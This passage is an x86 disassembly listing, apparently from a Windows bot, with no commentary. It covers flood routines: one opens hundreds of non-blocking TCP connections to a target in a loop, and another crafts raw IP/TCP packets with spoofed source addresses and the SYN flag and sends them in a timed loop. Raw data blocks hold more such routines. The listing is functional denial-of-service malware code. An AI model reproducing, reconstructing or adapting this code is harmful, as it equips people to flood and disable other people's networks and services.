		add	esp, 10h
		jmp	short loc_412E29
; ---------------------------------------------------------------------------


loc_412E26:				; CODE XREF: sub_412B08+2E0j
					; sub_412B08+2EEj
		mov	ebx, [ebp+arg_8]


loc_412E29:				; CODE XREF: sub_412B08+78j
					; sub_412B08+31Cj
		push	[ebp+var_20]
		call	dword_4CB00C
		pop	esi


loc_412E33:				; CODE XREF: sub_412B08+5Bj
		call	dword_4CAECC
		mov	eax, ebx


loc_412E3B:				; CODE XREF: sub_412B08+3Bj
		pop	edi
		pop	ebx
		leave
		retn
sub_412B08	endp

; ---------------------------------------------------------------------------
		push	ebx
		push	esi
		push	edi
		push	dword ptr [esp+10h]
		call	sub_40AAF9
		push	dword ptr [esp+18h]
		mov	esi, eax
		call	sub_41B779
		push	dword ptr [esp+24h]
		mov	ebx, eax
		call	sub_41B779
		mov	edi, eax
		call	sub_41B8E2
		cdq
		mov	ecx, 200h
		push	edi
		idiv	ecx
		push	ebx
		push	dword ptr [esp+2Ch]
		lea	eax, [edx+esi+100h]
		push	eax
		push	esi
		call	sub_412B08
		add	esp, 20h
		test	eax, eax
		jnz	short loc_412E8E
		push	1
		pop	eax


loc_412E8E:				; CODE XREF: ___:00412E89j
		cdq
		mov	ecx, 3E8h
		idiv	ecx
		cdq
		idiv	edi
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------
byte_412E9D	db 55h,	8Bh, 0ECh	; DATA XREF: sub_401ACD+6721o
		dd 3BCEC81h, 56530000h,	5708458Bh, 0F08B686Ah, 44BD8D59h
		dd 6AFFFFFEh, 0FF685B01h, 6A000000h, 6AA5F303h,	9C988902h
		dd 0FF000001h, 4CAFF415h, 0FFF88300h, 75FC4589h, 815FF5Fh
		dd 50004CAFh, 0FC44858Dh, 1C68FFFFh, 5000435Ch,	8995E8h
		dd 83FF3300h, 7D390CC4h, 572075DCh, 0FC44858Dh,	75FFFFFFh
		dd 858D50D8h, 0FFFFFF48h, 44B5FF50h, 0E8FFFFFEh, 0FFFF6B5Ah
		dd 8D14C483h, 0FFFC4485h, 85E850FFh, 0FF000022h, 0E3E8C875h
		dd 59FFFF84h, 0E8905759h, 22BD0C8h, 6AF44D8Dh, 0FF335104h
		dd 5057026Ah, 0FFF45D89h, 4CAF5415h
		db 0, 83h
word_412F4E	dw 0FFF8h		; DATA XREF: ___:off_43A184o
dword_412F50	dd 15FF5D75h, 4CAF08h, 44858D50h, 68FFFFFCh, 435BECh, 891CE850h
		dd 0C4830000h, 0DC7D390Ch, 8D572075h, 0FFFC4485h, 0D875FFFFh
		dd 48858D50h, 50FFFFFFh, 0FE44B5FFh, 0E3E8FFFFh, 83FFFF6Ah
		dd 858D14C4h, 0FFFFFC44h, 220EE850h, 75FF0000h,	846CE8C8h
		dd 5959FFFFh, 0D052E857h, 8D90022Bh, 0FFFE4885h, 15FF50FFh
		dd 4CAFB4h, 75FFF883h, 44858D55h, 68FFFFFCh, 435BCCh, 88B4E850h
		dd 7D390000h, 755959DCh, 858D5720h, 0FFFFFC44h,	50D875FFh
		dd 0FF48858Dh, 0FF50FFFFh, 0FFFE44B5h, 6A7CE8FFh, 0C483FFFFh
		dd 44858D14h, 50FFFFFCh, 21A7E8h, 0C875FF00h, 0FF8405E8h
		dd 575959FFh, 0CFEAE890h, 106A022Bh, 57E4458Dh,	856EE850h
		dd 0C4830000h, 45C7660Ch, 570002E4h, 0AF7415FFh, 8966004Ch
		dd 858DE645h, 0FFFFFE48h, 0B415FF50h, 8B004CAFh, 4270A835h
		dd 0E8458900h, 0FF087D89h, 0F84589D6h, 452BD6FFh, 0B9D233F8h
		dd 3E8h, 453BF1F7h, 94870FD0h, 68000001h, 41Ch,	0DCE805C6h
		dd 0FF45004Ch, 4CAF7415h, 0D47D3900h, 0DCEAA366h, 8966004Ch
		dd 4CDCEC1Dh, 3D896600h, 4CDCEEh, 0DCF005C6h, 8880004Ch
		dd 4CDCF11Dh, 3D896600h, 4CDCF2h, 33E83074h, 8B000088h
		dd 8E3C1D8h, 8829E8h, 0C1D80300h, 1FE808E3h, 3000088h
		dd 8E3C1D8h, 8815E8h, 6AD80300h, 0F41D8901h, 5B004CDCh
		dd 0B5FF18EBh, 0FFFFFE44h, 0FF7B2AE8h, 0FF5059FFh, 4CAFB415h
		dd 0DCF4A300h, 458B004Ch, 0DCF8A3E8h, 0E3E8004Ch, 99000087h
		dd 100B9h, 88F9F700h, 4CDCFC15h, 87D0E800h, 0B9990000h
		dd 100h, 1588F9F7h, 4CDCFDh, 87BDE8h, 0F0B99900h, 68000000h
		dd 400h, 8966F9F7h, 4CDCFE3Dh, 1D896600h, 4CDD02h, 15896642h
		dd 4CDD00h, 8795E8h, 0FFB99900h, 0F7000000h, 46852F9h
		dd 0E8004CDDh, 8430h, 8D0CC483h, 106AE445h, 1C685750h
		dd 68000004h, 4CDCE8h, 0FFFC75FFh, 4CAFD815h, 0FFF88300h
		dd 45FF0874h, 0FECAE908h, 75FFFFFFh, 0C15FFFCh,	0FF004CB0h
		dd 4CAF0815h, 858D5000h, 0FFFFFE48h, 500875FFh,	435B8468h
		dd 44858D00h, 68FFFFFCh, 200h, 87C6E850h, 0C4830000h, 0DC7D3918h
		dd 8D572075h, 0FFFC4485h, 0D875FFFFh, 48858D50h, 50FFFFFFh
		dd 0FE44B5FFh, 93E8FFFFh, 83FFFF68h, 858D14C4h,	0FFFFFC44h
		dd 1FBEE850h, 75FF0000h, 821CE8C8h, 5959FFFFh, 1E89057h
		dd 0FF022BCEh, 15FFFC75h, 4CB00Ch, 3308458Bh, 3CC06BD2h
		dd 0E8C1C88Bh, 0D075F70Ah, 5114E9C1h, 48858D50h, 0FFFFFFFEh
		dd 8D500875h, 0FFFEC885h, 858D50FFh, 0FFFFFC44h, 435B3868h
		dd 47E85000h, 83000086h, 7D391CC4h, 572075DCh, 0FC44858Dh
		dd 75FFFFFFh, 858D50D8h, 0FFFFFF48h, 44B5FF50h,	0E8FFFFFEh
		dd 0FFFF680Eh, 8D14C483h, 0FFFC4485h, 39E850FFh, 0FF00001Fh
		dd 97E8C875h, 59FFFF81h, 0E8905759h, 22BCD7Ch
dword_413284	dd 0B8EC8B55h, 10320h, 888FE8h,	8458B00h, 6A575653h, 59F08B49h
					; DATA XREF: sub_401ACD+550Fo
		dd 0FEBCBD8Dh, 0A5F3FFFFh, 895F016Ah, 120B8h, 0FC15FF00h
		dd 89004CAEh, 858D0845h, 0FFFFFF40h, 0B415FF50h, 8B004CAFh
		dd 33DB33F0h, 0FFFE83C0h, 858D1175h, 0FFFFFF40h, 0F815FF50h
		dd 3B004CAFh, 830674C3h, 75FF087Dh, 40858D5Dh, 50FFFFFFh
		dd 0FCBC858Dh, 7468FFFFh, 5000435Ch, 8589E8h, 0CC48300h
		dd 75D85D39h, 858D5320h, 0FFFFFCBCh, 50D475FFh,	0FEC0858Dh
		dd 0FF50FFFFh, 0FFFEBCB5h, 6750E8FFh, 0C483FFFFh, 0BC858D14h
		dd 50FFFFFCh, 1E7BE8h, 0D075FF00h, 0FF80D9E8h, 575959FFh
		dd 0CCBEE890h, 0C33B022Bh, 408B0C74h, 8B008B0Ch, 0FC458900h
		dd 758903EBh, 8D1C6AFCh, 5053E045h, 822FE8h, 0E84D8300h
		dd 0FFDCB8FFh, 0C4830000h, 0C445390Ch, 4589037Eh, 0C87D39C4h
		dd 7D89037Dh, 39F633C8h, 267EC05Dh, 8DC875FFh, 1C6AE045h
		dd 858D5350h, 0FFFEFCE0h, 50C475FFh, 0FFFC75FFh, 15FF0875h
		dd 4CAE8Ch, 0C0753B46h,	75FFDA7Ch, 2C15FF08h, 8D004CB0h
		dd 0FFFF4085h, 858D50FFh, 0FFFFFCBCh, 435C4868h, 0BBE85000h
		dd 83000084h, 5D390CC4h, 532075D8h, 0FCBC858Dh,	75FFFFFFh
		dd 858D50D4h, 0FFFFFEC0h, 0BCB5FF50h, 0E8FFFFFEh, 0FFFF6682h
		dd 8D14C483h, 0FFFCBC85h, 0ADE850FFh, 0FF00001Dh, 0BE8D075h
		dd 59FFFF80h, 0F1E85359h, 90022BCBh
dword_413410	dd 0B8EC8B55h, 10310h, 8703E8h,	8458B00h, 6A575653h, 59F08B49h
					; DATA XREF: sub_401ACD+575Bo
		dd 0FECCBD8Dh, 0A5F3FFFFh, 895E016Ah, 120B0h, 0D8D4E800h
		dd 50900226h, 8493E8h, 116A5900h, 26A026Ah, 0AFF415FFh
		dd 0D88B004Ch, 106AFF33h, 57F0458Dh, 812EE850h,	0C4830000h
		dd 50858D0Ch, 66FFFFFFh, 2F045C7h, 15FF5000h, 4CAFB4h
		dd 89FFF883h, 75750845h, 0FF50858Dh, 0FF50FFFFh, 4CAFF815h
		dd 75C73B00h, 50858D5Dh, 50FFFFFFh, 0FCCC858Dh,	0C868FFFFh
		dd 5000435Ch, 83DDE8h, 0CC48300h, 75E87D39h, 858D5720h
		dd 0FFFFFCCCh, 50E475FFh, 0FED0858Dh, 0FF50FFFFh, 0FFFECCB5h
		dd 65A4E8FFh, 0C483FFFFh, 0CC858D14h, 50FFFFFCh, 1CCFE8h
		dd 0E075FF00h, 0FF7F2DE8h, 565959FFh, 2BCB13E8h, 408B9002h
		dd 0EB008B0Ch, 8458D03h, 7D39008Bh, 0F44589DCh,	0DBE81175h
		dd 99000083h, 0FFDCB9h,	42F9F700h, 0FF03EB52h, 15FFDC75h
		dd 4CAF74h, 66DC7539h, 7DF24589h, 0DC758903h, 0FFFFB8h
		dd 0DC453900h, 4589037Eh, 0D0458BDCh, 59990A6Ah, 7D39F9F7h
		dd 0D04589D8h, 75890375h, 39F633D8h, 1A7ED47Dh,	838DE8h
		dd 0FFB99900h, 0F7000000h, 753B46F9h, 359488D4h, 0FFFEFCEFh
		dd 458BE67Ch, 0D04DFFD0h, 557EC085h, 8D5E0B6Ah,	106AF045h
		dd 5FE85750h, 6A000083h, 0F759990Ah, 0D4458BF9h, 8D50C22Bh
		dd 0FEFCF085h, 0FF5350FFh, 4CAFD815h, 0D875FF00h, 0D00DE890h
		dd 754E0225h, 0DC7D39CEh, 2FE8BC75h, 99000083h,	0FFDCB9h
		dd 42F9F700h, 7415FF52h, 66004CAFh, 0EBF24589h,	50858DA1h
		dd 50FFFFFFh, 0FCCC858Dh, 9C68FFFFh, 5000435Ch,	82A5E8h
		dd 0CC48300h, 75E87D39h, 858D5720h, 0FFFFFCCCh,	50E475FFh
		dd 0FED0858Dh, 0FF50FFFFh, 0FFFECCB5h, 646CE8FFh, 0C483FFFFh
		dd 0CC858D14h, 50FFFFFCh, 1B97E8h, 0E075FF00h, 0FF7DF5E8h
		dd 575959FFh, 0C9DAE890h
		db 2Bh,	2
word_413626	dw 8B55h		; DATA XREF: sub_401ACD+4DECo
		dd 14EC81ECh, 8B000004h, 57560845h, 85B9h, 8DF08B00h, 0FFFDECBDh
		dd 0C7A5F3FFh, 21080h, 100h, 0F0858D00h, 50FFFFFEh, 0FE70858Dh
		dd 8D50FFFFh, 0FFFDF085h, 20E850FFh, 83000001h,	8D500CC4h
		dd 0FFFBEC85h, 5CF068FFh, 0E8500043h, 820Ah, 0C483F633h
		dd 0F875390Ch, 8D562075h, 0FFFBEC85h, 0F475FFFFh, 70858D50h
		dd 50FFFFFFh, 0FDECB5FFh, 0CFE8FFFFh, 83FFFF63h, 858D14C4h
		dd 0FFFFFBECh, 1AFAE850h, 75FF0000h, 7D58E8F0h,	5959FFFFh
		dd 3DE89056h, 5F022BC9h
; ---------------------------------------------------------------------------
		pop	esi

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4136C5	proc near		; CODE XREF: ___:004137AEp

var_654		= byte ptr -654h
var_14		= word ptr -14h
var_12		= word ptr -12h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 654h
		push	10h
		lea	eax, [ebp+var_14]
		push	0
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		mov	[ebp+var_14], 2
		push	[ebp+arg_4]
		call	dword_4CAF74
		mov	[ebp+var_12], ax
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_10], eax
		mov	eax, [ebp+arg_8]
		test	eax, eax
		mov	[ebp+var_4], 1
		jle	short loc_413783
		push	ebx
		push	esi
		push	edi
		mov	[ebp+arg_4], eax
		mov	edi, 190h


loc_413710:				; CODE XREF: sub_4136C5+B9j
		lea	esi, [ebp+var_654]
		mov	ebx, edi


loc_413718:				; CODE XREF: sub_4136C5+7Aj
		push	0
		push	1
		push	2
		nop
		call	near ptr 71AB3C22h
		cmp	eax, 0FFFFFFFFh
		mov	[esi], eax
		jz	short loc_41373B
		lea	ecx, [ebp+var_4]
		push	ecx
		push	8004667Eh
		push	eax
		call	near ptr 71AB155Ah
		nop


loc_41373B:				; CODE XREF: sub_4136C5+64j
		add	esi, 4
		dec	ebx
		jnz	short loc_413718
		lea	esi, [ebp+var_654]
		mov	ebx, edi


loc_413749:				; CODE XREF: sub_4136C5+96j
		lea	eax, [ebp+var_14]
		push	10h
		push	eax
		push	dword ptr [esi]
		nop
		call	near ptr 71AB3E5Dh
		add	esi, 4
		dec	ebx
		jnz	short loc_413749
		push	64h
		nop
		call	near ptr 26705B3h
		lea	esi, [ebp+var_654]
		mov	ebx, edi


loc_41376D:				; CODE XREF: sub_4136C5+B4j
		push	dword ptr [esi]
		nop
		call	near ptr 71AB1A6Dh
		add	esi, 4
		dec	ebx
		jnz	short loc_41376D
		dec	[ebp+arg_4]
		jnz	short loc_413710
		pop	edi
		pop	esi
		pop	ebx


loc_413783:				; CODE XREF: sub_4136C5+3Ej
		xor	eax, eax
		leave
		retn
sub_4136C5	endp

; ---------------------------------------------------------------------------
		push	ebx
		push	esi
		push	edi
		push	dword ptr [esp+10h]
		call	sub_40AAF9
		push	dword ptr [esp+18h]
		mov	edi, eax
		call	sub_41B779
		push	dword ptr [esp+20h]
		mov	ebx, eax
		call	sub_41B779
		mov	esi, eax
		push	esi
		push	ebx
		push	edi
		call	sub_4136C5
		add	esp, 18h
		test	eax, eax
		jnz	short loc_4137BD
		push	1
		pop	eax


loc_4137BD:				; CODE XREF: ___:004137B8j
		cdq
		mov	ecx, 3E8h
		pop	edi
		idiv	ecx
		cdq
		idiv	esi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------
dword_4137CC	dd 81EC8B55h, 414ECh, 8458B00h,	85B95756h, 8B000000h, 0ECBD8DF0h
					; DATA XREF: sub_401ACD+6449o
		dd 0F3FFFFFDh, 1080C7A5h, 1000002h, 8D000000h, 0FFFEF085h
		dd 858D50FFh, 0FFFFFE70h, 0F0858D50h, 50FFFFFDh, 310E8h
		dd 0CC48300h, 0EC858D50h, 68FFFFFBh, 435D1Ch, 8064E850h
		dd 0F6330000h, 390CC483h, 2075F875h, 0EC858D56h, 0FFFFFFFBh
		dd 8D50F475h, 0FFFF7085h, 0B5FF50FFh, 0FFFFFDECh, 0FF6229E8h
		dd 14C483FFh, 0FBEC858Dh, 0E850FFFFh, 1954h, 0E8F075FFh
		dd 0FFFF7BB2h, 90565959h, 2BC797E8h
; ---------------------------------------------------------------------------
		add	bl, [edi+5Eh]

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41386B	proc near		; CODE XREF: ___:00413B59p

var_284		= byte ptr -284h
var_F4		= byte ptr -0F4h
var_B4		= byte ptr -0B4h
var_B3		= byte ptr -0B3h
var_A0		= byte ptr -0A0h
var_94		= byte ptr -94h
var_8C		= byte ptr -8Ch
var_78		= dword	ptr -78h
var_74		= dword	ptr -74h
var_70		= byte ptr -70h
var_6F		= byte ptr -6Fh
var_6E		= word ptr -6Eh
var_58		= dword	ptr -58h
var_50		= word ptr -50h
var_4E		= word ptr -4Eh
var_4C		= dword	ptr -4Ch
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= word ptr -34h
var_32		= word ptr -32h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= byte ptr -28h
var_27		= byte ptr -27h
var_26		= word ptr -26h
var_24		= word ptr -24h
var_22		= word ptr -22h
var_20		= byte ptr -20h
var_1E		= word ptr -1Eh
var_1C		= word ptr -1Ch
var_1A		= word ptr -1Ah
var_18		= byte ptr -18h
var_17		= byte ptr -17h
var_16		= word ptr -16h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 284h
		push	ebx
		push	edi
		push	0Eh
		xor	ebx, ebx
		pop	ecx
		xor	eax, eax
		lea	edi, [ebp+var_B3]
		mov	[ebp+var_B4], bl
		rep stosd
		stosw
		stosb
		lea	eax, [ebp+var_284]
		push	eax
		push	202h
		call	dword_4CAEE4
		test	eax, eax
		jz	short loc_4138AB
		xor	eax, eax
		jmp	loc_413B19
; ---------------------------------------------------------------------------


loc_4138AB:				; CODE XREF: sub_41386B+37j
		push	1
		pop	edi
		push	edi
		push	ebx
		push	ebx
		push	0FFh
		push	3
		push	2
		call	dword_4CB018
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_C], eax
		jz	loc_413B11
		push	esi
		lea	ecx, [ebp+var_38]
		push	4
		push	ecx
		push	2
		push	ebx
		push	eax
		mov	[ebp+var_38], edi
		call	dword_4CAF54
		cmp	eax, 0FFFFFFFFh
		jz	loc_413B07
		push	10h
		lea	eax, [ebp+var_50]
		push	ebx
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		mov	[ebp+var_50], 2
		push	[ebp+arg_8]
		call	dword_4CAF74
		mov	esi, [ebp+arg_0]
		push	28h
		mov	[ebp+var_4E], ax
		mov	[ebp+var_4C], esi
		mov	[ebp+var_20], 45h
		call	dword_4CAF74
		push	[ebp+arg_8]
		mov	[ebp+var_1E], ax
		mov	[ebp+var_1C], di
		mov	[ebp+var_1A], bx
		mov	[ebp+var_18], 80h
		mov	[ebp+var_17], 6
		mov	[ebp+var_16], bx
		mov	[ebp+var_10], esi
		call	dword_4CAF74
		push	4000h
		mov	[ebp+var_32], ax
		mov	[ebp+var_2C], ebx
		mov	[ebp+var_28], 50h
		mov	[ebp+var_27], 2
		call	dword_4CAF74
		mov	[ebp+var_26], ax
		lea	eax, [ebp+var_40]
		push	eax
		mov	[ebp+var_22], bx
		mov	[ebp+arg_8], ebx
		nop
		call	near ptr 2780332h
		lea	eax, [ebp+var_8]
		push	eax
		call	near ptr 2780000h
		nop
		push	[ebp+var_3C]
		mov	eax, [ebp+arg_C]
		cdq
		push	[ebp+var_40]
		push	edx
		push	eax
		call	sub_41D280
		add	eax, [ebp+var_8]
		mov	esi, edx
		adc	esi, [ebp+var_4]
		mov	[ebp+var_58], eax


loc_413996:				; CODE XREF: sub_41386B+25Dj
					; sub_41386B+26Bj
		mov	[ebp+var_24], bx
		call	sub_41B8E2
		cdq
		mov	ecx, 3E9h
		idiv	ecx
		add	edx, 3E8h
		push	edx
		call	dword_4CAF74
		mov	[ebp+var_34], ax
		call	sub_41B8E2
		mov	edi, eax
		shl	edi, 10h
		call	sub_41B8E2
		or	edi, eax
		push	edi
		call	dword_4CAF74
		movzx	eax, ax
		mov	[ebp+var_30], eax
		mov	eax, [ebp+arg_4]
		inc	[ebp+arg_4]
		push	eax
		call	dword_4CAF70
		push	14h
		mov	[ebp+var_14], eax
		mov	eax, [ebp+var_10]
		pop	edi
		push	edi
		mov	[ebp+var_74], eax
		mov	[ebp+var_70], bl
		mov	[ebp+var_6F], 6
		call	dword_4CAF74
		mov	[ebp+var_6E], ax
		mov	eax, [ebp+var_14]
		mov	[ebp+var_78], eax
		lea	eax, [ebp+var_78]
		push	20h
		push	eax
		lea	eax, [ebp+var_B4]
		push	eax
		call	sub_41C310
		lea	eax, [ebp+var_34]
		push	edi
		push	eax
		lea	eax, [ebp+var_94]
		push	eax
		call	sub_41C310
		lea	eax, [ebp+var_B4]
		push	34h
		push	eax
		call	sub_40AC68
		mov	[ebp+var_24], ax
		lea	eax, [ebp+var_20]
		push	edi
		push	eax
		lea	eax, [ebp+var_B4]
		push	eax
		call	sub_41C310
		lea	eax, [ebp+var_34]
		push	edi
		push	eax
		lea	eax, [ebp+var_A0]
		push	eax
		call	sub_41C310
		push	4
		lea	eax, [ebp+var_8C]
		push	ebx
		push	eax
		call	sub_41B590
		add	esp, 44h
		lea	eax, [ebp+var_B4]
		push	28h
		push	eax
		call	sub_40AC68
		mov	[ebp+var_16], ax
		lea	eax, [ebp+var_20]
		push	edi
		push	eax
		lea	eax, [ebp+var_B4]
		push	eax
		call	sub_41C310
		add	esp, 14h
		lea	eax, [ebp+var_50]
		push	10h
		push	eax
		push	ebx
		lea	eax, [ebp+var_B4]
		push	28h
		push	eax
		push	[ebp+var_C]
		call	dword_4CAFD8
		cmp	eax, 0FFFFFFFFh
		jz	short loc_413ADB
		add	[ebp+arg_8], eax
		lea	eax, [ebp+var_8]
		push	eax
		nop
		call	near ptr 2780000h
		mov	eax, [ebp+var_4]
		cmp	eax, esi
		jg	short loc_413B04
		jl	loc_413996
		mov	eax, [ebp+var_8]
		cmp	eax, [ebp+var_58]
		jnb	short loc_413B04
		jmp	loc_413996
; ---------------------------------------------------------------------------


loc_413ADB:				; CODE XREF: sub_41386B+247j
		call	dword_4CAF08
		push	eax
		lea	eax, [ebp+var_F4]
		push	offset dword_435D44
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_F4]
		push	eax
		call	sub_4151AC
		add	esp, 10h
		jmp	short loc_413B07
; ---------------------------------------------------------------------------


loc_413B04:				; CODE XREF: sub_41386B+25Bj
					; sub_41386B+269j
		mov	ebx, [ebp+arg_8]


loc_413B07:				; CODE XREF: sub_41386B+78j
					; sub_41386B+297j
		push	[ebp+var_C]
		call	dword_4CB00C
		pop	esi


loc_413B11:				; CODE XREF: sub_41386B+5Bj
		call	dword_4CAECC
		mov	eax, ebx


loc_413B19:				; CODE XREF: sub_41386B+3Bj
		pop	edi
		pop	ebx
		leave
		retn
sub_41386B	endp

; ---------------------------------------------------------------------------
		push	ebx
		push	esi
		push	edi
		push	dword ptr [esp+10h]
		call	sub_40AAF9
		push	dword ptr [esp+18h]
		mov	esi, eax
		call	sub_41B779
		push	dword ptr [esp+20h]
		mov	ebx, eax
		call	sub_41B779
		mov	edi, eax
		call	sub_41B8E2
		cdq
		mov	ecx, 200h
		push	edi
		idiv	ecx
		push	ebx
		lea	eax, [edx+esi+100h]
		push	eax
		push	esi
		call	sub_41386B
		add	esp, 1Ch
		test	eax, eax
		jnz	short loc_413B68
		push	1
		pop	eax


loc_413B68:				; CODE XREF: ___:00413B63j
		cdq
		mov	ecx, 3E8h
		idiv	ecx
		cdq
		idiv	edi
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------
byte_413B77	db 55h			; DATA XREF: sub_401ACD+6E44o
		dd 0EC81EC8Bh, 394h, 5608458Bh,	59656A57h, 0BD8DF08Bh
		dd 0FFFFFE6Ch, 80C7A5F3h, 190h,	1, 0FEF0858Dh, 0E850FFFFh
		dd 7BD1h, 858D5059h, 0FFFFFE70h, 0B415FF50h, 50004CAFh
		dd 5DE8h, 50595900h, 0FC6C858Dh, 6468FFFFh, 5000435Dh
		dd 7CB5E8h, 83F63300h, 75390CC4h, 562075F8h, 0FC6C858Dh
		dd 75FFFFFFh, 858D50F4h, 0FFFFFF70h, 6CB5FF50h,	0E8FFFFFEh
		dd 0FFFF5E7Ah, 8D14C483h, 0FFFC6C85h, 0A5E850FFh, 0FF000015h
		dd 3E8F075h, 59FFFF78h,	0E8905659h, 22BC3E8h, 8B555E5Fh
		dd 98EC81ECh, 53000000h, 16A5756h, 78A58359h, 0FFFFFFh
		dd 6583046Ah, 0BB5E00A8h, 0FFh,	0C033066Ah, 0AC7D8D5Ah
		dd 0FF7C8D89h, 45C7FFFFh, 280h,	84758900h, 0C7885589h
		dd 88C45h, 45C70000h, 0C90h, 9445C700h,	11h, 169845C7h
		dd 0C7000000h, 299C45h,	45C70000h, 3AA0h, 0A45D8900h, 0ABB04589h
		dd 89D47D8Dh, 4589B445h, 0BC45C7B8h, 2000h, 89C07589h
		dd 45C7C455h, 3FFFC8h, 0CC4D8900h, 89D04589h, 0BFABD84Dh
		dd 100h, 930BE857h, 89590000h, 5057FC45h, 0AF8815FFh, 75FF004Ch
		dd 0F815FFFCh, 8B004CAFh, 6A530C40h, 8B026A03h,	89008B00h
		dd 15FFF445h, 4CAFF4h, 56D84D8Dh, 6A026A51h, 45895000h
		dd 5415FFFCh, 0BE004CAFh, 200h,	77D3E856h, 3D8B0000h, 4270A8h
		dd 0F8458959h, 4589D7FFh, 8458BF0h, 29A68h, 6C858900h
		dd 66FFFFFFh, 0FF6885C7h, 2FFFFh, 0AF7415FFh, 8966004Ch
		dd 0FFFF6A85h, 2BD7FFFFh, 0D233F045h, 3E8B9h, 3BF1F700h
		dd 870F0C45h, 0CFh, 7B91E8h, 0CB8B9900h, 458BF9F7h, 0FFFF25F4h
		dd 0E2C100FFh, 89D00B18h, 77E8F455h, 9900007Bh,	0F9F7CB8Bh
		dd 0E8AC5589h, 7B6Ah, 1FA4B999h, 45C60000h, 0F9F745DCh
		dd 4DD45C6h, 0E8D45589h, 7B52h,	0E0458966h, 7B49E8h, 990A6A00h
		dd 66F9F759h, 0B095448Bh, 7415FF50h, 56004CAFh,	0E2458966h
		dd 0AF7415FFh, 8966004Ch, 5D88DE45h, 7B20E8E4h,	0E6A0000h
		dd 0F9F75999h, 848A146Ah, 0FFFF7895h, 0E54588FFh, 89F4458Bh
		dd 458BE845h, 0EC458908h, 50DC458Dh, 0FF6E7FE8h, 458966FFh
		dd 0DC458DE6h, 0FF50146Ah, 15E8F875h, 83000085h, 858D14C4h
		dd 0FFFFFF68h, 6A50106Ah, 75FF5600h, 0FC75FFF8h, 0AFD815FFh
		dd 1AE9004Ch, 0FFFFFFFFh, 8EE8F875h, 59000072h,	0FFFC75FFh
		dd 4CB00C15h, 58016A00h, 0C95B5E5Fh
; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------
byte_413E35	db 55h,	8Bh, 0ECh	; DATA XREF: sub_401ACD+53E8o
		dd 440EC81h, 458B0000h,	57565308h, 0F08B686Ah, 0C0BD8D59h
		dd 0F3FFFFFDh, 33016AA5h, 0BD8D5EDBh, 0FFFFFF61h, 0B0890E6Ah
		dd 19Ch, 88C03359h, 0FFFF609Dh,	66ABF3FFh, 3D8BAAABh, 4270A8h
		dd 0E850D7FFh, 7A58h, 0FF6859h,	36A0000h, 15FF026Ah, 4CAFF4h
		dd 89FFF883h, 6675FC45h, 0AF0815FFh, 8D50004Ch,	0FFFBC085h
		dd 5E7C68FFh, 0E8500043h, 79D6h, 390CC483h, 0FFFF589Dh
		dd 532375FFh, 0FBC0858Dh, 0B5FFFFFFh, 0FFFFFF54h, 0C4858D50h
		dd 50FFFFFEh, 0FDC0B5FFh, 97E8FFFFh, 83FFFF5Bh,	858D14C4h
		dd 0FFFFFBC0h, 12C2E850h, 0B5FF0000h, 0FFFFFF44h, 0FF751DE8h
		dd 535959FFh, 0C102E890h, 4D8D022Bh, 51046ACCh,	5053026Ah
		dd 0FFCC7589h, 4CAF5415h, 0FFF88300h, 15FF6675h, 4CAF08h
		dd 0C0858D50h, 68FFFFFBh, 435E44h, 7958E850h, 0C4830000h
		dd 589D390Ch, 75FFFFFFh, 858D5323h, 0FFFFFBC0h,	0FF54B5FFh
		dd 8D50FFFFh, 0FFFEC485h, 0B5FF50FFh, 0FFFFFDC0h, 0FF5B19E8h
		dd 14C483FFh, 0FBC0858Dh, 0E850FFFFh, 1244h, 0FF44B5FFh
		dd 9FE8FFFFh, 59FFFF74h, 85E85359h, 90022BC0h, 0FDC4858Dh
		dd 0FF50FFFFh, 4CAFB415h, 0FFF88300h, 858D5E75h, 0FFFFFBC0h
		dd 435E2468h, 0E7E85000h, 39000078h, 0FFFF589Dh, 755959FFh
		dd 858D5323h, 0FFFFFBC0h, 0FF54B5FFh, 8D50FFFFh, 0FFFEC485h
		dd 0B5FF50FFh, 0FFFFFDC0h, 0FF5AA9E8h, 14C483FFh, 0FBC0858Dh
		dd 0E850FFFFh, 11D4h, 0FF44B5FFh, 2FE8FFFFh, 59FFFF74h
		dd 15E85359h, 90022BC0h, 458D106Ah, 0E85053BCh,	7598h
		dd 660CC483h, 2BC45C7h,	15FF5300h, 4CAF74h, 0BE458966h
		dd 0FDC4858Dh, 0FF50FFFFh, 4CAFB415h, 0C0458900h, 0FF085D89h
		dd 0D04589D7h, 452BD7FFh, 0B9D233D0h, 3E8h, 853BF1F7h
		dd 0FFFFFF4Ch, 2AA870Fh, 286A0000h, 45D445C6h, 0AF7415FFh
		dd 9D39004Ch, 0FFFFFF50h, 0D6458966h, 0D8758966h, 0DA5D8966h
		dd 80DC45C6h, 6DD45C6h,	0DE5D8966h, 73E82D74h, 8B000078h
		dd 8E6C1F0h, 7869E8h, 0C1F00300h, 5FE808E6h, 3000078h
		dd 8E6C1F0h, 7855E8h, 6AF00300h, 0E0758901h, 0FF16EB5Eh
		dd 0FFFDC0B5h, 6B6DE8FFh, 5059FFFFh, 0AFB415FFh, 4589004Ch
		dd 0C0458BE0h, 0FF489D39h, 4589FFFFh, 0E81075E4h, 7822h
		dd 401B999h, 0F9F70000h, 0FF06EB52h, 0FFFF48B5h, 7415FFFFh
